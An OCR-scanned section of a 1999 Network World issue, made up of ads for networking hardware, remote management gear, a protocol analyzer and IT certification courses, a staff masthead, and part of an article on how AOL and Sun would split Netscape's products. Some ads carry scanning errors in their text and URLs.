546  Valley  Way  Milpitas,  CA  95035 
Ph:  1.800.200.9881  Fax:  408.263.9883  sales@kansmen.com 
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AT  HOME, 
HOW  YOU 
SURF  IS 
YOUR 
BUSINESS. 


AT  WORK 
IT  S  OURS. 


Immediately 

increase 


productivity. 


Monitor,  report  on,  or 
block  all  Internet  access 


WANic 


High  Performance  Single  or  Dual  Port 
Intelligent  DS3/E3  WAN  Adapter  for  PCI  Bus 


Applications: 

♦  Network  Interface 

♦  WAN  Monitoring 

♦  Packet  Filtering 


Protocols  Supported: 

♦  Frame  Relay 

♦  HDLC 

♦  PPP 


Software  Support: 

♦  Comprehensive  API 

♦  NT,  Solaris,  VxWorks 

♦  DDK  for  OEM  Developers 


FREE  email  newsletters 

from  the  most  trusted  name 
in  networking. 

Network  World  has  introduced  a  series  of 
free,  email  newsletters  developed  exclu¬ 
sively  for  busy  network  IS  professionals. 
These  newsletters  are  emailed  twice- 
weekly  and  will  alert  you  to  key  develop¬ 
ments  in  areas  such  as: 

Frame  Relay 

Web  Application  Development 

Network/Systems  Management 

High-Speed  LANs 

NetFlash  Daily 

Windows  NT 

Groupware  and  Messaging 

and  more. 

They  will  provide  advice  and  insights  on 
the  key  issues  shaping  these  technologies. 
There’s  also  a  Career  Advisor  newsletter 


aimed  at  helping  you  get  the  most  from 
your  job.  The  newsletters  combine  the 
expertise  and  knowledge,  along  with  the 
immediacy  of  email  to  help  you  keep 
abreast  of  the  changing  networked  world. 

httD://www.nwfusion.coiii/locus ,  ■ 

For  Free  Product  Info  .  www.networhworld.com/inloxpre 


SDL  Communications,  Inc. 

The  uplink  company 


PHONE:  [508]  238-4490  FAX:  [508]  238-1053 
EMAIL:  sales@sdlcomm.com  WEBSITE:  http://www.sdlcomm.com 


PICCMG™  and  the  PICMG™  logo  are  trademarks  of  the  PCI  Industrial  Computers  Manufacturers  Group. 
All  other  logos  &  trademarks  are  property  of  their  respective  owners. 


Reboot  and  Access  Remote  • — \ 
Equipment  With  ONE  PRODUCT 

FEATURES 


Power  Control,  reboot  or  turn  on/ofF  remote  equipment 
RS-232  Console/Aux  port  access  to  remote  equipment 
Dial-up  access  with  internal  33.6  kbps  modem 
Telnet  access  with  internal  network  interface 
Local  console  for  onsite  access  to  connected  equipment 


DS4D-RPC 
(Rear  View) 


m 


Control/Aux  Port 
Access^ 


Power  Control 


ELIMINATE  COSTLY 
REMOTE  NETWORK 
SERVICE  CALLS  with 

BayTech’s  complete  line  of  remote 
site  management  pioducts. 

These  products  will  help  keep 
your  network  running. 


Router 


DSU 

Hub 

Server 


Also  available,  seperate  power  control  and  console  access  solutions 

800-523-2702  www.baytechdcd.com 

International:  228467-8231  Fax:  2284674551 
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Forefront 

vly.  DIRECT  I 

.[A  CBT  Group  Company 


u 


Call  Now  to  Get  Your  First  Course  at  No 
Charge!  (Limited  Time  Offer) 

Discover  the  fast  and  easy  way  to  boost  your  I.T.  knowledge  and  prepare  for 
I.T  certification.  Oulfcomputer-based  training  courses  provide  a  learning 
environment  that  surpasses  traditional  classroom  and  video  courses.  See  for 
yourself  how  ForeFront  Direct  can  give  you  the  skills  you  need  to  launch  or 
accelerate  your  I.T.  career.  Call  today  for  your  FREE  I.T.  training  course! 

Self-Study  Courses: 

•  MCSE  •  MCSD 


Open  the  Door  to  Great  Career 
Opportunities 
Raise  Your  Income 
Gain  Valuable  Skills, 
Knowledge  and  Technical 
Recognition 

•  Study  at  Your  Own  Pace 

•  Interactive  Hands-on  Exercises 

•  Online  and  Telephone 
Mentoring  Available 

•  One-on-One  Training 
Consulting 

YOU,  4. 


•  MCSE+Internet 

•  MCP 
•CNE 

•  Novell  CIP 

•  CNA 

•  Oracle 

•  Lotus 

•  Webmaster 

•  PC  Repair 

•  A+  Certification 


•Visual  Basic 

•  Visual  C++ 

•  Java 

•  C++ 

•  Cisco 
•UNIX 

•  Networking 

•  Office  97 

•  Windows  98 

•  And  More! 


(800)475-5831  •  (727)724-8994  •  Fax:  (727)726-6922  •  www.techcourses.com 


\WM 
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It’s  an  Open  and  Shut  Case... 


tww.greatcabinets.com 


814.734.7303  ♦  Fax:  814.734.3907*  Email:  glcc@greatcabinets.com 
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Servers 

Routers 

Kiosks 

Anything! 

From  Any  Telephone! 
Anytime!  Anywhere! 


18  10  Amp  AC  Power  Control 


18  Tone  Controlled,  On/Off  Reboot 


18  Utilizes  Existing  Dial  Line 
E3  Security  Password  Protected 
18  Int’l,  DC,  Relay  Versions  Available 


£>. 


11  Park  Place  Paramus,  NJ  07652  Web:  www.dataprobe.com 
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Your  Reach 
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ALL  TIMEPLEX  EQUIPMENT 

FDDI  CSU  TIME/LAN 

LINK/2+  microLINK  TIME/PATH 

UNK/i  miniLINK  MICROPLEXER 

LINK/l  00  ROUTERS  OEM 


1 -800-726-LINK  ext.  1777 


to  the 


or  Fax:  1-727-531-2102 


For  the  lowest  price  on 
TimeFlex  Equipment 


hardware  is  staged 
and  pre-tested. 
If  it  doesn't  say 


Software/Prom  Upgrades 
Year  2000  Upgradable 


All 


then  it’s  not! 
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INTRODUCING 
LAN/WAN 
TROUBLESHOOTING 
AND  PROTOCOL 
ANALYSIS  SOFTWARE 
SO  OBSERVANT. 

IT  C  AN  SEE  ALL  PORTE 
ON  YOUR  SWITCH. 


Observer  identifies  network  trouble  spots,  and  costs 
thousands  less  than  expensive  hardware-based 
analyzers,  if  you  have  network  slowdowns  would  you 
know  if  they  are  being  caused  by  packet  errors, 
broadcast  storms  or  overloaded  utilization?  Find  out 
with  Observer  or  Distributed  Observer. 

•  Full  packet  capture  and  decode  for  over  300 

protocols,  including  TCP/IP  (v4  and  v6), 
NetBIOS/NetBUEl,  IPX/SPX,  Appletalk,  SNA, 

and  DECnet. 

• Switched  mode  sees  all  ports  on  a  switch 
gathering  statistics  from  the  entire  switch  or 
packet  capture  from  any  port  or  portsFinally  a 
protocol  analyzer  that  can  be  used  in 
switched  environments! 

•  Long-term  network  trending  collects  statistical 
baseline  data  for  days,  weeks,  months  or  years 
for  review  and  reporting. 

•Distributed  version  available  for  $1290  (includes 
1  local  and  1  remote  Probe).  Additional  Probes 
are  $295  per  local  or  remote  segment  or  switch. 

•  Network  Instruments'  optimized  ErrorTrack™ 

NDIS  drivers  display  true  errors-by-station. 

Includes  collision  expert. 

•  Track  router  utilization/traffic  in  real  time 
•  Ethernet  (10/100/1000),  Token  Ring,  FDDI 


See  what  you  have  been  missingl.Call  900-526-7919  for  a  FREE  DEMO  or  download  from  our  web  site. 

wvm.networkinstruments.com 

'  €)  1999  Network  Instruments.1  tLC  •  Corporate  Headquarters  (612)  932-9899  FAX  (612)  932-9545 

UK  and  Europe  4-44  (0)  1322  303045  FAX  +44  (0)  1322  303056 ,  info«*networkjnstrument$  com  www. networkmstruments.com 
Observer.  Netwwx  in^trumenis  and  the  *N"  logo  are  registered  trademarks  of  Network  Instruments.  I LC  Minneapolis.  MN  USA 
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A  KVM  switch  is  only  as  smart 
as  the  brains  behind  it. 


Demand  Raritan. 


Now  Available:  . 

RfloAlnfPnnmln  IN 71  V 


•  Intelligent  on-screen  user  interface 
simplifies  switching,  operation,  and 
administration.  Premium  video 
components  and  double-shielded 
coaxial  cables  deliver  hi-res  video. 


•  Easy  to  install,  easy  to  use.  Start 
with  2,  4,  8,  or  16  computers. 
Expand  to  control  up  to  256. 
Operate  from  central,  remote, 
or  multiple  locations. 


Connect  and  operate 
any  combination 
of  computers 
(PC,  Mac,  Sun, 
Alpha,  HP9000, 
RS/6000,  SGI) 
without  having 
to  change  cards 
or  dip  switches. 


Unique  Raritan 
emulation  technology 
dedicates  a  “brain”  to 
each  channel  to  deliver 
automatic  booting  and 
flawless  operation, 
and  to  prevent 
keyboard  and 
. .  mouse  lockup. 


Request  this 
FREE  guide 
to  learn  critical 
factors  about 
KVM  switch 
performance. 


Call  toll  free  1-800-724-8090,  X83, 
or  visit  us  online  at  www.raritan.com 


Raritan 


E-mail:  sales@raritan.com  Phone:  732-764-8886  Fax:  732-764-8887 
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a  specific  product  or  service? 
no  time  to  research? 


Network  World  InfoXpress  is  your  answer!  We  give  you  all  the  information 
you  need  in  one  convenient  place. 


www.networkwoHd.com/iiifoxprass 


No  more  dead-end  searches!  Lots  more  time  to  really  investigate  and 
make  that  smart  buy! 


And,  to  help  you  keep  track  of  the  extra  time  you’ll  have  just  from  using 
Network  World  InfoXpress,  go  online  and  register  to  win  the  Official 
Count  Down  to  the  Year  2000  Watch.  _t-V> 

Over  the  next  5  weeks  we’ll  be  giving  away  two  watches  each  day 
to  two  lucky  site  visitors!  Enter  the  site,  type  in  ‘Marketplace 
Contest’  under  “search  by  company,”  and  register  to  win! 
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Hub  of  the  Network  Buy  *  The  Jhifrxf  t be  !Neii 

?'ie'  Xeiit  ork  Buy  *  the  Huh  of 


%/  Dial-up  and  telnet  access  to  Remote  Sites 
s/  Select  Multiple  Console/AUX  Ports 
^  Reboot  power  on  selected  devices 


RACK  MODEM 


CONSOLE  SWITCH 


RS232  CONSOLE  PORTS 

REBOOT  SWITCH 


UPS 


ROUTER 


DSU/CSU 


MUX 


COMM. 
SERVER  ^ 


FILE 

SERVER 


AC  POWER 


I 


When  it  comes  to  Remote  Site  Management,  no  one  offers  more  choices  to  access 
multiple  console/AUX  ports  and/or  reboot  power  than  NetReach  products  from 
Western  Telematic.  We  offer  the  flexibility  you  need  to  mix  and  match  equipment  for 
small  or  large  remote  management  strategies.  NetReach  products  are  now  installed  in 
thousands  of  network  sites  world  wide.  Our  customers  know  they  can  depend  on  our 
superior  quality  and  reliability  for  their  mission-critical  operations. 


□  western 
D  telematic  inc. 


Coneole/AUX  Port  Managers 

Remote  access  to  multiple  RS-Z32  Console/AUX  Ports 

•  TCP/IR  (telnet)  and  dial-up  (modem)  •  Continuous  off-line 
buffering  •  Password  Protected  •  Any-to-Any  Port  Matrix 
Switching  •  AC  or  -48V  DC  power  options  *  Various  models 
from  4  to  64  ports 


Intelligent  Remote  Power  Switches 

Reboot  “locked-up”  network  equipment 

•  AC  and  -48V  DC  versions  •  Password,  Site  ID,  Plug  Labels 

•  On/Off/Reboot  power  switching 


Rack  Mount  Modem 

Single  modem  for  Dial-up  acces  to  console  ports 

•  AC  and  -48V  DC  powered  •  33.6Kbps  V34+  •  Requires 
only  one  19”  rack  space 


(800)  854-7226  *  www.wti.com 


5  Sterling,  Irvine,  CA  92618-2517 
Facsimile:  (949)  583-9514 
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Do  you  offer  Training  or 
Educational  Services? 


If  so,  call  Enku  today  to  find  out  how  to  place 
your  listing  in  our  "Training  Directory." 

Call  800-622-1108  ext.  7465 


Network  Ready 
CD-ROM  Servers 

From  $1,749 

Excel  custom  designs 
powerful,  expandable 
CD-ROM  Solutions  for 
Netware,  Windows  NT  and 
Unix  Systems  ranging  from 
7  to  256  CD-ROM  Drives. 


www.excelcdrom.com 


CD-ROM  Systems 

888-286-6201 


#217  @  www.networkworld.com/infoxpress 


THE  SHORTEST  DISTANCE  BETWEEN 
YDU  AND  YD  UR  HIGH-SPEED 
C  □  M  M  U  N I C  ATI  DNS  CIRCUITS 


105  James  Way,  Southampton,  PA  18966  *  800-344-3934  a  Fax:  215-364-0920  *  Web:  www.virinc.com 


Circuit  per  Circuit,  the  New 
DS3/DS1  Test  Access  System 
Delivers  the  Industry’s  best 

PRICE/PERFORMANCE  VALUE: 


a  Smallest  footprint 
a  Compatible  with  all  test  equipment 
a  Built  in  network  card 


a  Guaranteed  uninterrupted  data  transmission 
a  Modular  design  to  house  both  DS3  &  DS1  circuits 


Call  us  today  at  800-344-3934  for  your 
comprehensive  planning  guide  to  test 
access  of  high-speed  circuits. 


You're  in  the  business  of  guaranteeing  virtually  100% 
uptime  —  we're  in  the  business  of  making  sure  you  can. 
The  new  DS3/DS1  Test  Access  System  is  the 
perfect  technical  control  solution  for  your 
high  speed  circuits.  It  provides  the  test 
access  functions  of  DACS,  at  a  fraction  of 
the  cost  while  eliminating  the  need  to  send 
a  technician  to  remote  locations. 


Now  Supporting  STM-1 
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USED 

NETWORK  HARDWARE 

"Over  IS  Years  of  Exceptional  Service" 


4LAJVW/HV.  COM 


NEW 

& 

USED 

Switches, 
Modules, 
Routers, 
Hubs  &  More 


BUY 

& 

SELL 


LOWER  PRICES  THAN  THOSE  WAREHOUSE  GUYS! 
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SOFTWARE  AT  WHOLESALE  $$$$$ 


MSSB 

'  BBS 
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MICROSOFT  -  CISCO  -  3COM  NETWORKS  INTEL  EtcJ 
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MICROSOFT  PRODUCTS 


Office  ‘97  SB  NT  Workstation 

$189  $140 

Office  Pro ‘97  BackOffice-SB-lO 

$200  $985 

NT  Server-5  Clients  Back  Office-SB-25 

$500  $1385 

NT  Server-10  Clients^  Back  Office-Server ^FuH 
NT  Server-20  Lic:P|c^_  Back  Office-Lic.20  Pak^ 

M  B/O  kids:  NT  Server  v4.0.  Fax  Server  Exchange  vS.O, 
SQL  v6.S  &  Proxy  Server 


Gov't/xBools 


Cabletron  Equipment 

GUARANTEED 


•  100%  factory  refurbished 

•  Only  factory-authorized  VAR 


•  30  day  hot  swap,  1  year  free  repair 

•  We  also  carry:  Bay  Networks. 


COMMUN/CA TtOMS,  lie 


3Com,  Compex,  Cisco  &  more! 


Vnetek  Communications,  LLC 
sales@vnetek.com  •  www.vnetek.com 

Brand  names  are  registered  trademarks. 


For  Free  Product  Info  •  www.networkworld.com/infoxpre! 


Purveyors  of  Networking  Hardware 


+  Lowest  Prices  on  Factory 
Fresh  Equipment 
4- Up  to  90%  OFF  Retail 
for  Refurbished  Items 
4  Huge  Inventory  of 
Legacy  Products 
-v  Factory  Trained 

Consultants  on  Staff 
Fax  us  Your  Want  to  Sell  / 


HUGE 


OUNTS 


GIANT 

INVENTORY  ( 


4-  Authorized 
Service  Center 
4  We  Also  Do  Repair: 

&  Exchanges 
4- Same  Day  Shipping 
on  Most  Items 
4  Same  Day  Delivery 
Via  Counter  Service 

Buy  Lists  <S>  516-293-5325 


l  fetv  c U.L-  L'l /hr/i  icCiii  Cli-Llli^  SLic.[iiz[uc 

tL  -Luo# ZLI  ~0 

A  Division  of  Ergonomic  Enterprises.  Inc. 

|  CALL ix> LL  L-lUilit ^ L/lIaIY/lIaI 

International  Calls:  001-1-516-293-5200  /  E-mail:  Sales@4LANWAN.COM 


Network  Worlds  Direct  Response 
Card  Decks  deliver  more  than 

157,500  Qualified  Buyers! 


Call  for  more  information  on  how  to  reach 
these  buyers  of  your  products! 

800-622-1108  ext.  7507 


Ciica  Stttiut 


^SynOptcs 

SMC* 


iTLRobotics 


Bay  Networks 

inte*- 


CHIPC0M 


Next  Deck: 
May  21 

Ad  Close: 
April  12 

Materials  Due: 
April  19 


It  all  comes  down  to  questions.  Questions 
that  challenge  your  expertise  about  Microsoft 
products.  Question  yourself  -  are  you  ready? 
Be  absolutely  sure.  With  Spike  and  the  gang's 
certification  guarantee,  you  will  be.  Because 
once  you've  completed  the  program,  you'll  pass 
with  flying  colors  or  get  your  money  back.* 
And  don't  worry,  because  as  Microsoft 
Certification  changes,  Transcender  will 
have  you  covered. ..without  question. 


Most  Realistic  MCSE  and  MCSD 
Simulations  Available 
Detailed  Answers  and  Explanations 
NEW!  Computer  Adaptive  Testing  Features 
NEW!  Simulation  Questions 
Money  Back  If  You  Don't  Pass  Guarantee* 


•  From  $129  -  $179 

Transcender.  America’s  #1  Exam  Preparation  Software. 


Transcender8 

Corporation 


To  order,  call  Howard  @  (615)  726-8779  or  fax  (615)  726-8884;  242  Louise  Ave.;  Nashville,  TN  37203. 

*  j  ©  1999  Transcender  Corp.  All  Rights  Reserved.  Microsoft  is  a  registered  trademark  of 

W  W  W  ■ll  dnSCenaer.CO  III  Microsoft  Corporation.  Multi-user  licenses  are  available.  •'Call  or  see  our  Web  site  for  details. 


Wanted  to  Buy 
ng  Products  and 


57,500  qualified  subscribe 
World  are  ready  to 

to  place  your  ad  in  the  Marketp 
1-800-622-1 108  ext.  7465 


ROUTERS  •  HUBS  •  DSU/CSU 
SWITCHES  •  TERMINAL  SERVERS 

BUY  /SELL /LEASE 


ASCEND  ■  LIVINGSTON 
ADTRAISI  ■  KENTROX 

Overnight  Delivery:  fully  Guaranteed 

800-230-6638 

IS  805-964-1314  Fox:  805-964-5649BR 

www.networkhardware.com 

Network  Hardware  Resaie,  Inc. 


For  More  Information  About  Marketplace 

1-800-622-1108 
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-  i  fjt.  intis  iff  i  rjv  x  v t'l n  iff  r<  on  y 

Hub  of  the  Network  Buy  *  The 

\e  Network  Bn 


rld.com/i 


MODEMS 
DSU/CSU’S 
T-1  EQUIPMENT 
SWITCHES,  MUXES 
HUB,  BRIDGES,  ROUTERS,  ETC. 


LAN/WAN  •  BUY/SELL 
FULLY  WARRANTEED 
NEW/REFURBISHED 


Cabletron  Bay  Networks 


Cisco  Specialists 


3Com  IVlicom  Adtran  H/P 

We  carry  all  manufacturers,  call  ask  for  sales. 


A 

D  || 

S  INC. 


http://www.adcs-inc.com 

PHONE 
800-783-8979 


FAX  (916) 
6962 
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f  Products  f 

purchased  as  L 
a  result  of  7| 

Marketplace 
ads. 

/  Hubs 

/  Routers 

/  Software 
training 

/  Memory 
products 

/  Ethernet 
Cards 

/  Netware 
products 

4  Modems 

4  Testing 
equipment 


4  Multiplexers 

7\ 

4  File  Servers 

4  etc. 

\  4  ^x.. 

AJ 

V  4  «SL. 

w 

s  j?  1  '  rz- 1 

s  Save  up  to  80%  on  new/used: 

NETFAST  >-  Routers  ►  Switches  >-  XDSL  »-  T1  CSU/DSUs 
^ ^  >-  ATM  >-  Fast  Ethernet  ►  ISDN  >-  Frame  Relay 


Cisco  Systems 


*% 


CISCO 

Ascend 


►  Lucent/Livingston 
-  3COM/USRobotics 


www.digitalwarehouse.com 

DIGITAL  WAREHOUSE 

Your  Information  Superhighway  Discount  Source @ 


Nortel/Bay  Networks 
Larscom  >-  Cabletron 
Paradyne 
Motorola 


ADC  Kenfrox 
Newbridge 
Digital  Link 
Network  Assoc. 


►  Xyplex 

►  Adtran 

►  Fore 

►  IBM 


Netfast  Communications  Inc.,  56-29  56th  Drive,  Maspeth,  NY  1 1378  USA 


Phone :  1  -888-892-4726  or  7 1 8-894-7500  Fax:  7 1 8-894- 1 573 
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Clean  up  your  world 


Built  to  order 
rack  mount  solutions. 

Redundant  Servers 
and  RAID  Subsystems. 

Call  us,  we  do  the  dirty  work. 

800-480-4384 

Rackmaster  Systems,  Inc. 


Miconi 


Livingston  us  ro 

Ascend  ©AY  yy  j 

• s ?  Specialist  in  all 
^  Cisco  products  73 
W  including  Memory  7 

T.  LAN/WAN  Products 

\  P 

q  New,  Used,  Lease, 

3Com%_  Rent  ^Code 
Adtran  ^  ‘N o'A^'  Xylogic 
Motorola  Wellflec 

We  carry  all  Manufacturers 


Millennium  Solutions  Group,  Inc. 


•Routers,  Bridges  •  Frame  Relay 
•DSU/CSU’s  «Hubs,  Modems 

•Switches,  ATM  *Voice  over  Data 


We  Buy  and  Sell 

888-801-2001  Fax  (916)  630-2000 
Visit  our  Web  Site  at: 
http://www.millenniumsolutions.net 
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Certified  NetAnalyst 

(800)  645-8486 

WWW.PINEMOUNTAINGROUP.COM 
Protocol  &  Analyzer  Training 
Sniffer,  Fluke,  HP,  Shomiti 


Lanop  Nat’l  Test  Prep 

(800)  US  NETWORK 
www.lanop.com 
MCSE/CNE  Certification 
Guarantee  to  Pass  All  Tests  1st  time 

CrossTec’s  NetOp  School  SW  NCR  Customer  Education 

(800)  675-0729  H  (800)  845-2273 

jSBB 

www.CrossTec.Net  .  .V  www.ncr.com/trainus 

Six  essential  tools  for  the  networked  WB  Cisco,  MCSE,  NT  &  Networking, 

classroom.  Download  a  Free  Eval  msm  Training 


Dalhousie  University 

(902)  494-1114 
www.dal.ca/intemetworking 
Master  Degree  in  Internetworking 
One  Year  Program 


SecurelT 

(888)  777-4313 

www.secureit.com 

Test  Your  Security  Knowledge! 

Certified  Security  Training. 


ForeFront  Direct 

(800)  475-5831 
www.ffg.com 

Computer  based  training  for 
the  I.T.  industry 


Transcender  Corporation 

(615)  726-8779 
www.transcender.com 
MCSE,  MCSD,  MCP  Exam 
Simulations 


Contact  these  companies  today  to  help  you  with  your  training  needs! 
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Bay  Networks  CaBLeTROQ 


The  Merged  Company  of  SynOptics  and  Wellfleet 


Cisco  Systems 


We  Stock  the  Largest  Inventory  of 
Refurbished  Bay  Networks  in  the  World! 


Novell. 


•  Bay  Networks  ESP  Trained 

•  Bay  Networks  Authorized 

•  Full  Product  Line 

•  New  &  Used,  Buy  &  Sell 


•  Proven  Track  Record 

•  Good  As  New  Warranties 

•  Repair  Services  Available 

•  Technical  Support 


MADGE 


Phone  801-377-0074 
Fax  801-377-0078 
1403  W.  820  N.  Provo,  UT  84601 

Visit  us  On  the  Web  @  www.nle.com 


National  LAN  Exchange 

888.891. 4BAY  (42291 


se&Biis 


C.O.D's  Terms 


>t  deltv< 

be 
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Sales  Offices 
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Colin  Ungaro,  President/CEO 
Evilse  Thibeault,  Senior  Vice  President/Publisher 
Mary  Kaye  Newton,  Assistant  to  the  President 
Eleni  Brisbois,  Senior  Sales  Associate 

FINANCE 

Mary  Fanning,  Vice  President  Finance 
Paul  Mercer,  Finance  Manager 
HUMAN  RESOURCES/ADMINISTRATION 
Monica  Brunaccini,  VP  of  Human  Resources/Admin. 
Danielle  Caldwell,  Sr.  Human  Resources  Representative 
Frank  Coelho,  Office  Services  Manager 
Lisa  Smith,  Telecommunications/HR  Coordinator 
Tom  Garvey,  Mailroom  Supervisor 
Mark  Anderson,  Mailroom  Assistant 
MARKETING 

Hillary  Freeley,  Director  of  Marketing 
Jim  Grisanzio,  Public  Relations  Manager 
Kristin  Wattu,  Marketing  Communications  Manager 
Barbara  Sullivan,  Sr.  Marketing  Research  Analyst 
Donna  Kirkey,  Marketing  Design  Manager 
GLOBAL  PRODUCT  SUPPORT  CENTER 
Nancy  Parquette,  Event  Planner 
Cindy  Panzera,  Marketing  Specialist 
ADVERTISING  OPERATIONS 
Karen  Lincoln,  Director  of  Advertising  Operations 
Ann  Jordan,  Supervisor  of  Advertising  Operations 
Kris  Guay,  Direct  Response/Recruitment  Ad  Coordinator 
PRODUCTION 

Ann  Finn,  Production  Director 
Greg  Morgan,  Senior  Production  Supervisor 
Mario  Matoska,  Print  Buying  Supervisor 

CIRCULATION 

Sharon  Smith,  Senior  Director  of  Circulation 
Richard  Priante,  Director  of  Circulation 
Christine  Rhoder,  Circulation  Marketing  Manager 
Bobbie  Cruse,  Subscriptions  Manager 
Mary  Mclntire,  Circulation  Coordinator 
RESEARCH 

Ann  MacKay,  Research  Director 

DISTRIBUTION 

Bob  Wescott,  Distribution  Manager/(508)879-0700 
IDG  LIST  RENTAL  SERVICES 
Elizabeth  Tyle,  Sales  Representative 
P.0.  Box  9151,  Framingham,  MA  01701-9151 
(8001  343-6474/(508)  370-0825,  FAX:(508)  370-0020 
PROFESSIONAL  DEVELOPMENT  GROUP 
William  Reinstein,  Senior  V.P./Business  Development 
Steven  Engel,  General  Manager  Seminars  &  Events 
Andrea  D'Amato,  Sales  Manager/Strategic  Partnerships 
Debra  Becker,  Senior  Marketing  Manager 
Christie  Combs,  Finance/Operations  Manager 
Peter  Halliday,  Product  Manager/NetDraw 
William  Bernardi,  Senior  Event  Planner 
Maureen  Whiting,  Senior  Marketing  Specialist 
Kristin  Ballou,  Account  Executive 
Betty  Amaro,  Finance/Operations  Analyst 
Jill  Keaveney,  Event  Planner 
Tim  DeMeo,  Customer  Service  Representative 
Tricia  Fiscale,  Sales  Assistant 
ONLINE  SERVICES 

Ann  Roskey,  Director,  Online  Services 
Jean-Olivier  Holingue,  Director  of  Technology 
Clare  O'Brien,  Online  Sales  Manager 
Dan  Chupka,  Online  Account  Executive 
Pam  Kerensky,  Online  Database  Manager 
Andrea  Duksta,  Senior  Web  Producer 
Karen  Avedian,  Sales  Operations  Analyst 
Jolene  Springfield,  Sales  Operations  Analyst 
Christine  Rhoder,  Circulation  Marketing  Manager 
Nadar  Fakhraie,  Web  Engineer 
FAX:(508)  270-8869 

INFORMATION  SYSTEMS/IMAGING  SERVICES 

Michael  Draper,  Vice  President  Information  Systems 
Rocco  Bortone,  Network  Manager 
Kevin  O'Keefe,  Systems  Manager 
John  Chambers,  Groupware  Technologist 
Anne  Nickinello,  Senior  Manager,  Imaging  Services 
Deborah  Vozikis,  Senior  Imaging  Specialist 
Sean  Landry,  Imaging  Specialist 


IDG 


Patrick  J.  McGovern,  Chairman  of  the  Board 

Kelly  Conlin,  President 

Jim  Casella,  Chief  Operating  Officer 

Network  World  is  a  publication  of  IDG,  the  world's 
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AOL, 

continued  from  page  1 

software  to  create  complete 
e-commerce  systems  for  cor¬ 
porate  customers.  AOL  seems 
to  be  planning  to  use  the  fruit 
of  this  development  labor  to 
create  e-commerce  services 
aimed  at  businesses. 

That  reorganization  sounds 
fairly  simple.  But  AOL  and  Sun 
face  an  array  of  issues,  includ¬ 
ing  how  to  handle  product 
overlap,  as  they  try  to  exploit 
Netscape  assets  (see  graphic). 
For  instance,  the  three  compa¬ 
nies  offer  as  many  as  five 
browsers  among  them 

The  first  step  in  making  this 
still-murky  relationship  work 
was  unveiled  last  week:  creat¬ 
ing  a  “strategic  alliance”  of 
some  2,000  Sun  and  Netscape 
developers  and  managers. 

But  many  questions  remain. 
Which  company  will  run  this 
organization?  Who  will  sup¬ 
port  the  products?  Are  the 
companies  going  to  create 
code  to  integrate  products  or 
merely  bundle  them? 

“The  press  accounts  about 
this  new  strategic  alliance  are 
confusing,”  says  Eric  Brown, 
senior  analyst  with  Forrester 


Global  One, 

continued  from  page  10 

their  already-established  net¬ 
works  in  dozens  of  countries. 

Global  One  has  also  suffered 
when  users  have  asked  about 
end-to-end  facilities  overseas, 


Corrections 

In  the  recent  story  "Life 
after  Cisco"  (NW,  March  15, 
p.1),  Mario  Mazzola’s  title 
should  have  been  written  as 
senior  vice  president  for 
Cisco's  enterprise  line  of 
business,  and  Nick  Francis' 
former  role  at  Cisco  should 
have  been  identified  as 
marketing  head  of  Cisco's 
IBM  business  unit. 

A  recent  story  (NW, 
March  15,  page  6)  misstated 
the  date  Storage  Networks 
was  founded  and  incorrectly 
identified  one  of  company's 
founders.  The  firm  was 
started  up  in  August  1998  by 
Bill  Miller  and  Peter  Bell. 


Research  in  Cambridge,  Mass., 
who  has  additional  questions. 
“Where  does  the  money  come 
from?  Where  does  the  revenue 
go?  Who  has  the  power  to  hire 
and  fire?  What  is  this?” 

Whatever  this  joint  venture 
is,  it  seems  clear  that  Sun  is  in 
control.  Sun’s  Mark  Tolliver,  for¬ 
merly  head  of  the  company’s 
consumer  and  embedded  sys¬ 
tems  division,  is  president  and 
general  manager  of  the  new 
group.  Barry  Ariko,  who  had 
been  a  Netscape  senior  vice 
president,  is  Tolliver’s  deputy 
general  manager. 

Ariko  wears  another  hat: 
He’s  also  AOL’s  senior  vice 
president  of  the  new 
Netscape  Enterprise  Group. 
According  to  an  AOL  press 
release,  this  group  “will  con¬ 
tinue  to  serve  Netscape’s 
enterprise  customers”  as  well 
as  “contribute”  to  the  alliance. 
That  statement  sounds  like 
the  new  group  will  be  a  sup¬ 
port  organization,  but  AOL  did¬ 
n’t  release  any  details. 

Here’s  how  the  deal  breaks 
down  for  Sun  and  AOL. 

What  Sun  gets 

Based  on  the  three-way 
deal,  Sun  is  now  able  to  offer 


its  Solaris  servers  and  Java 
technology  alongside  Net¬ 
scape’s  products:  Web,  e-mail 
and  directory  servers  and  the 
ECXpert  line  of  commerce 
tools.  How,  or  whether,  the 
Sun-Netscape  alliance  will  knit 
the  products  more  tightly 
together  is  another  key  issue 
neither  company  has 
addressed. 


From  the  desk  of  Steve  Case 


Sun  apparently  hopes  to 
offer  these  products  running 
on  its  Solaris  servers  and  other 
systems  software,  and  to  create 
a  complete,  ready-to-roll 
e-commerce  line. 

One  conflict  Sun  hasn’t 
resolved  is  whether  the  compa¬ 
ny  will  promote  its  own  appli¬ 
cation  server,  called  Net- 
Dynamics,  or  Netscape’s,  called 
Netscape  Appli¬ 
cation  Server  (for¬ 
merly  Kiva). 

Sun  is  likely  to 
push  hard  to 
expand  the  use  of 
Java  technology 
in  the  Netscape 
products,  espe¬ 
cially  the  Enter¬ 
prise  Java  Beans 
(EJB)  specifica¬ 
tion.  EJB  is  a  stan¬ 
dard  way  to  write 
interoperable, 
reusable  server- 
based  software 
components.  “If 
these  products 
are  not  up  to 
snuff  [with  EJB 
support] ,  then 
rivals  like  BEA 
Systems  or  IBM 
could  take  the 


premier  space  in  the  Web  appli¬ 
cation  server  market,”  says 
David  Sonnenschein,  director 
of  Internet  consulting  at  Meta- 
mor  Consulting  Solutions  in 
Dallas. 

The  AOL  side 

AOL  today  derives  an  impor¬ 
tant  chunk  of  its  revenue 
($181  million  of  $960  million 
reported  in  the  most  recent  fis¬ 
cal  quarter)  from  selling  Web 
advertising  space  to  vendors 
that  want  to  reach  AOL’s  15 
million  members,  most  of 
them  consumers.  Netscape’s 
Netcenter  portal,  meanwhile, 
draws  mainly  business  users. 

Last  week,  AOL  executives 
said  they  will  “expand”  Net¬ 
center  but  didn’t  give  any 
details.AOL  is  also  still  silent  on 
what  it  will  do  with  the 
Netscape  Navigator  browser. 
AOL  said  it  will  release  Version 
5.0  later  this  year,  but  the  firm's 
focus  seems  to  be  in  two  areas. 
One  is  aiming  a  browser  at  the 
burgeoning  market  for  hand¬ 
held  wireless  devices. A  second 
plan  is  to  embed  a  browser 
directly  into  AOL  or  AOL-built 
Web  sites,  creating  a  browser 
window  that’s  optimized 
specifically  for  those  sites.  □ 


Sun-AOL  to-do  list: 

□  Build  "turnkey"  e  commerce  systems  for  busi 
ness  clients. 

□  Convince  these  guys  to  use  the  online  service 
